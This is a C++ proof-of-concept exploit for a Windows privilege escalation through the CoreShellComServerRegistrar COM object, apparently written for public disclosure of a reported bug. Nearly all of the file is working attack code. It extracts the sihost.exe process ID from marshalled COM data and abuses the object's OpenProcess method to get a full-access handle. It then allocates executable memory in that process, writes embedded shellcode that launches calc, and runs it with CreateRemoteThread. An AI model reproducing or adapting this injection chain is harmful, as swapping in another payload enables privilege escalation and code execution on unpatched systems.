// Axel '0vercl0k' Souchet - December 28 2019
// References:
// - Found by an anonymous researcher, written up by Simon '@HexKitchen' Zuckerbraun
// - https://www.zerodayinitiative.com/blog/2019/12/19/privilege-escalation-via-the-core-shell-com-registrar-object
// - https://github.com/microsoft/Windows-classic-samples/blob/master/Samples/Win7Samples/com/fundamentals/dcom/simple/sserver/sserver.cpp
// - https://github.com/microsoft/Windows-classic-samples/blob/master/Samples/Win7Samples/com/fundamentals/dcom/simple/sclient/sclient.cpp
#include <windows.h>
#include <cstdint>
#include <atlbase.h>
// 54E14197-88B0-442F-B9A3-86837061E2FB
// .rdata:0000000000014108 CLSID_CoreShellComServerRegistrar dd 54E14197h ; Data1
// .rdata:0000000000014108 dw 88B0h ; Data2
// .rdata:0000000000014108 dw 442Fh ; Data3
// .rdata:0000000000014108 db 0B9h, 0A3h, 86h, 83h, 70h, 61h, 0E2h, 0FBh ; Data4
const GUID CLSID_CoreShellComServerRegistrar = {
0x54e14197, 0x88b0, 0x442f, {
0xb9, 0xa3, 0x86, 0x83, 0x70, 0x61, 0xe2, 0xfb
}};
// 27EB33A5-77F9-4AFE-AE056-FDBBE720EE7
// .rdata:00000000000140B8 GuidICOMServerRegistrar dd 27EB33A5h ; Data1
// .rdata:00000000000140B8 dw 77F9h ; Data2
// .rdata:00000000000140B8 dw 4AFEh ; Data3
// .rdata:00000000000140B8 db 0AEh, 5, 6Fh, 0DBh, 0BEh, 72h, 0Eh, 0E7h ; Data4
MIDL_INTERFACE("27EB33A5-77F9-4AFE-AE05-6FDBBE720EE7")
ICoreShellComServerRegistrar : public IUnknown {
// 0:015> dqs 00007ff8`3fe526e8
// [...]
// 00007ff8`3fe52730 00007ff8`3fe4a5e0 CoreShellExtFramework!Microsoft::WRL::Details::RuntimeClassImpl<Microsoft::WRL::RuntimeClassFlags<2>,1,0,0,Microsoft::WRL::FtmBase,CServiceHostComponentWithGITSite,IOSTaskCompletionRevokedHandler,ICOMServerRegistrar>::QueryInterface
// 00007ff8`3fe52738 00007ff8`3fe4a6d0 CoreShellExtFramework!Microsoft::WRL::Details::RuntimeClassImpl<Microsoft::WRL::RuntimeClassFlags<2>,1,0,0,Microsoft::WRL::FtmBase,CServiceHostComponentWithGITSite,IOSTaskCompletionRevokedHandler,ICOMServerRegistrar>::AddRef
// 00007ff8`3fe52740 00007ff8`3fe4a680 CoreShellExtFramework!Microsoft::WRL::Details::RuntimeClassImpl<Microsoft::WRL::RuntimeClassFlags<2>,1,0,0,Microsoft::WRL::FtmBase,CServiceHostComponentWithGITSite,IOSTaskCompletionRevokedHandler,ICOMServerRegistrar>::Release
// 00007ff8`3fe52748 00007ff8`3fe47260 CoreShellExtFramework!CoreShellComServerRegistrar::RegisterCOMServer
// 00007ff8`3fe52750 00007ff8`3fe476b0 CoreShellExtFramework!CoreShellComServerRegistrar::UnregisterCOMServer
// 00007ff8`3fe52758 00007ff8`3fe477f0 CoreShellExtFramework!CoreShellComServerRegistrar::DuplicateHandle
// 00007ff8`3fe52760 00007ff8`3fe47920 CoreShellExtFramework!CoreShellComServerRegistrar::OpenProcess
virtual HRESULT STDMETHODCALLTYPE RegisterCOMServer() = 0;
virtual HRESULT STDMETHODCALLTYPE UnregisterCOMServer() = 0;
virtual HRESULT STDMETHODCALLTYPE DuplicateHandle() = 0;
virtual HRESULT STDMETHODCALLTYPE OpenProcess(
const uint32_t DesiredAccess,
const bool InheritHandle,
const uint32_t ArbitraryPid,
const uint32_t TargetProcessId,
HANDLE *ProcessHandle
) = 0;
};
struct Marshalled_t {
uint32_t Meow;
uint32_t ObjRefType;
GUID IfaceId;
uint32_t Flags;
uint32_t References;
uint64_t Oxid;
uint64_t Oid;
union {
uint64_t IfacePointerIdLow;
struct {
uint64_t _Dummy1 : 32;
uint64_t ServerPid : 16;
};
};
uint64_t IfacePointerIdHigh;
};
int main() {
//
// Initialize COM.
//
HRESULT Hr = CoInitialize(nullptr);
if(FAILED(Hr)) {
printf("Failed to initialize COM.\nThis might be the best thing that happened in your life, carry on and never look back.");
return EXIT_FAILURE;
}
//
// Instantiate an out-of-proc instance of `ICoreShellComServerRegistrar`.
//
CComPtr<ICoreShellComServerRegistrar> ComServerRegistrar;
Hr = ComServerRegistrar.CoCreateInstance(
CLSID_CoreShellComServerRegistrar,
nullptr,
CLSCTX_LOCAL_SERVER
);
if(FAILED(Hr)) {
printf("You are probably not vulnerable (%08x) bailing out.", Hr);
return EXIT_FAILURE;
}
//
// We don't use the copy ctor here to avoid leaking the object as the returned
// stream already has its refcount bumped by `SHCreateMemStream`.
//
CComPtr<IStream> Stream;
Stream.Attach(SHCreateMemStream(nullptr, 0));
//
// Get the marshalled data for the `ICoreShellComServerRegistrar` interface, so
// that we can extract the PID of the COM server (sihost.exe) in this case.
// https://twitter.com/tiraniddo/status/1208073552282488833
//
Hr = CoMarshalInterface(
Stream,
__uuidof(ICoreShellComServerRegistrar),
ComServerRegistrar,
MSHCTX_LOCAL,
nullptr,
MSHLFLAGS_NORMAL
);
if(FAILED(Hr)) {
printf("Failed to marshal the interface (%08x) bailing out.", Hr);
return EXIT_FAILURE;
}
//
// Read the PID out of the blob now.
//
const LARGE_INTEGER Origin {};
Hr = Stream->Seek(Origin, STREAM_SEEK_SET, nullptr);
uint8_t Buffer[0x1000] {};
Hr = Stream->Read(Buffer, sizeof(Buffer), nullptr);
union {
Marshalled_t *Blob;
void *Raw;
} Ptr;
Ptr.Raw = Buffer;
const uint32_t SihostPid = Ptr.Blob->ServerPid;
//
// Ready to get a `PROCESS_ALL_ACCESS` handle to the server now!
//
HANDLE ProcessHandle;
Hr = ComServerRegistrar->OpenProcess(
PROCESS_ALL_ACCESS,
false,
SihostPid,
GetCurrentProcessId(),
&ProcessHandle
);
if(FAILED(Hr)) {
printf("Failed to OpenProcess (%08x) bailing out.", Hr);
return EXIT_FAILURE;
}
//
// Allocate executable memory in the target.
//
const auto ShellcodeAddress = LPTHREAD_START_ROUTINE(VirtualAllocEx(
ProcessHandle,
nullptr,
0x1000,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
));
if(ShellcodeAddress == nullptr) {
printf("Failed to VirtualAllocEx memory in the target process (%d) bailing out.", GetLastError());
return EXIT_FAILURE;
}
//
// This is a CreateProcess(calc) shellcode generated with scc, see payload.cc.
//
const uint8_t Shellcode[] {
0x48, 0x83, 0xc4, 0x08, 0x48, 0x83, 0xe4, 0xf0, 0x48, 0x83, 0xec, 0x08, 0x55, 0x48, 0x8b, 0xec,
0x48, 0x8d, 0x64, 0x24, 0xf0, 0x48, 0x8d, 0x05, 0x42, 0x02, 0x00, 0x00, 0x48, 0x89, 0x45, 0xf0,
0x6a, 0x00, 0x8f, 0x45, 0xf8, 0x48, 0x8d, 0x05, 0x3a, 0x02, 0x00, 0x00, 0x48, 0x8d, 0x08, 0x48,
0x8d, 0x55, 0xf0, 0xe8, 0x63, 0x01, 0x00, 0x00, 0xe8, 0xbf, 0x01, 0x00, 0x00, 0xc9, 0xc3, 0x53,
0x56, 0x57, 0x41, 0x54, 0x55, 0x48, 0x8b, 0xec, 0x6a, 0x60, 0x58, 0x65, 0x48, 0x8b, 0x00, 0x48,
0x8b, 0x40, 0x18, 0x48, 0x8b, 0x70, 0x10, 0x48, 0x8b, 0x46, 0x30, 0x48, 0x83, 0xf8, 0x00, 0x74,
0x13, 0xeb, 0x08, 0x4c, 0x8b, 0x06, 0x49, 0x8b, 0xf0, 0xeb, 0xec, 0x45, 0x33, 0xdb, 0x66, 0x45,
0x33, 0xd2, 0xeb, 0x09, 0x33, 0xc0, 0xc9, 0x41, 0x5c, 0x5f, 0x5e, 0x5b, 0xc3, 0x66, 0x8b, 0x46,
0x58, 0x66, 0x44, 0x3b, 0xd0, 0x72, 0x11, 0xeb, 0x3c, 0x66, 0x45, 0x8b, 0xc2, 0x66, 0x41, 0x83,
0xc0, 0x02, 0x66, 0x45, 0x8b, 0xd0, 0xeb, 0xe5, 0x45, 0x8b, 0xcb, 0x41, 0xc1, 0xe9, 0x0d, 0x41,
0x8b, 0xc3, 0xc1, 0xe0, 0x13, 0x44, 0x0b, 0xc8, 0x41, 0x8b, 0xc1, 0x4c, 0x8b, 0x46, 0x60, 0x45,
0x0f, 0xb7, 0xca, 0x4d, 0x03, 0xc1, 0x45, 0x8a, 0x00, 0x45, 0x0f, 0xbe, 0xc0, 0x41, 0x83, 0xf8,
0x61, 0x72, 0x15, 0xeb, 0x07, 0x41, 0x3b, 0xcb, 0x74, 0x16, 0xeb, 0x97, 0x41, 0x83, 0xe8, 0x20,
0x41, 0x03, 0xc0, 0x44, 0x8b, 0xd8, 0xeb, 0xb1, 0x41, 0x03, 0xc0, 0x44, 0x8b, 0xd8, 0xeb, 0xa9,
0x4c, 0x8b, 0x56, 0x30, 0x41, 0x8b, 0x42, 0x3c, 0x4d, 0x8b, 0xe2, 0x4c, 0x03, 0xe0, 0x41, 0x8b,
0x84, 0x24, 0x88, 0x00, 0x00, 0x00, 0x4d, 0x8b, 0xca, 0x4c, 0x03, 0xc8, 0x45, 0x33, 0xdb, 0x41,
0x8b, 0x41, 0x18, 0x44, 0x3b, 0xd8, 0x72, 0x0b, 0xe9, 0x56, 0xff, 0xff, 0xff, 0x41, 0x83, 0xc3,
0x01, 0xeb, 0xec, 0x41, 0x8b, 0x41, 0x20, 0x49, 0x8b, 0xda, 0x48, 0x03, 0xd8, 0x45, 0x8b, 0xc3,
0x48, 0x8b, 0xc3, 0x4a, 0x8d, 0x04, 0x80, 0x8b, 0x00, 0x49, 0x8b, 0xfa, 0x48, 0x03, 0xf8, 0x33,
0xc0, 0x48, 0x8b, 0xdf, 0x48, 0x83, 0xc7, 0x01, 0x44, 0x8a, 0x03, 0x41, 0x0f, 0xbe, 0xd8, 0x83,
0xfb, 0x00, 0x74, 0x02, 0xeb, 0x06, 0x3b, 0xd0, 0x74, 0x17, 0xeb, 0xc1, 0x44, 0x8b, 0xc0, 0x41,
0xc1, 0xe8, 0x0d, 0xc1, 0xe0, 0x13, 0x44, 0x0b, 0xc0, 0x44, 0x03, 0xc3, 0x41, 0x8b, 0xc0, 0xeb,
0xd0, 0x41, 0x8b, 0x41, 0x1c, 0x49, 0x8b, 0xd2, 0x48, 0x03, 0xd0, 0x41, 0x8b, 0x41, 0x24, 0x4d,
0x8b, 0xca, 0x4c, 0x03, 0xc8, 0x45, 0x8b, 0xc3, 0x49, 0x8b, 0xc1, 0x4a, 0x8d, 0x04, 0x40, 0x66,
0x8b, 0x00, 0x0f, 0xb7, 0xc8, 0x48, 0x8b, 0xc2, 0x48, 0x8d, 0x04, 0x88, 0x8b, 0x00, 0x4c, 0x03,
0xd0, 0x49, 0x8b, 0xc2, 0xc9, 0x41, 0x5c, 0x5f, 0x5e, 0x5b, 0xc3, 0x53, 0x56, 0x57, 0x41, 0x54,
0x55, 0x48, 0x8b, 0xec, 0x48, 0x8b, 0xf1, 0x48, 0x8b, 0xda, 0x48, 0x8b, 0x03, 0x48, 0x83, 0xf8,
0x00, 0x74, 0x0e, 0x48, 0x8b, 0xc6, 0x48, 0x83, 0xc6, 0x04, 0x44, 0x8b, 0x20, 0x33, 0xff, 0xeb,
0x07, 0xc9, 0x41, 0x5c, 0x5f, 0x5e, 0x5b, 0xc3, 0x8b, 0x06, 0x41, 0x8b, 0xcc, 0x8b, 0xd0, 0xe8,
0x6b, 0xfe, 0xff, 0xff, 0x48, 0x8b, 0xd0, 0x48, 0x83, 0xfa, 0x00, 0x74, 0x02, 0xeb, 0x06, 0x48,
0x83, 0xc3, 0x08, 0xeb, 0xc5, 0x48, 0x8b, 0x03, 0x48, 0x8b, 0xcf, 0x48, 0x83, 0xc7, 0x01, 0x48,
0x8d, 0x04, 0xc8, 0x48, 0x89, 0x10, 0x48, 0x83, 0xc6, 0x04, 0xeb, 0xcc, 0x57, 0x55, 0x48, 0x8b,
0xec, 0x48, 0x8d, 0xa4, 0x24, 0x78, 0xff, 0xff, 0xff, 0x48, 0x8d, 0xbd, 0x78, 0xff, 0xff, 0xff,
0x32, 0xc0, 0x6a, 0x68, 0x59, 0xf3, 0xaa, 0xc7, 0x85, 0x78, 0xff, 0xff, 0xff, 0x68, 0x00, 0x00,
0x00, 0x48, 0x8d, 0x05, 0x4a, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x10, 0x4c, 0x8d, 0x95, 0x78, 0xff,
0xff, 0xff, 0x48, 0x8d, 0x45, 0xe0, 0x33, 0xc9, 0x45, 0x33, 0xc0, 0x45, 0x33, 0xc9, 0x50, 0x41,
0x52, 0x6a, 0x00, 0x6a, 0x00, 0x6a, 0x00, 0x6a, 0x00, 0x48, 0x8d, 0x64, 0x24, 0xe0, 0x48, 0x8d,
0x05, 0x09, 0x00, 0x00, 0x00, 0xff, 0x10, 0x48, 0x83, 0xc4, 0x50, 0xc9, 0x5f, 0xc3, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x17, 0xca, 0x2b, 0x6e, 0x72, 0xfe, 0xb3, 0x16, 0x00, 0x00,
0x00, 0x00, 0x63, 0x61, 0x6c, 0x63, 0x00
};
if(!WriteProcessMemory(
ProcessHandle,
ShellcodeAddress,
Shellcode,
sizeof(Shellcode),
nullptr
)) {
printf("Failed to WriteProcessMemory in the target process (%d) bailing out.", GetLastError());
//
// At least clean up the remote process D:
//
VirtualFreeEx(ProcessHandle, ShellcodeAddress, 0, MEM_RELEASE);
return EXIT_FAILURE;
}
//
// Creating a remote thread on the shellcode now.
//
DWORD ThreadId;
HANDLE ThreadHandle = CreateRemoteThread(
ProcessHandle,
nullptr,
0,
ShellcodeAddress,
nullptr,
0,
&ThreadId
);
//
// Waiting for the thread to end..
//
WaitForSingleObject(ThreadHandle, INFINITE);
//
// All right, we are done here, let's clean up and exit.
//
VirtualFreeEx(ProcessHandle, ShellcodeAddress, 0, MEM_RELEASE);
printf("Payload has been successfully injected in %d.", SihostPid);
return EXIT_SUCCESS;
}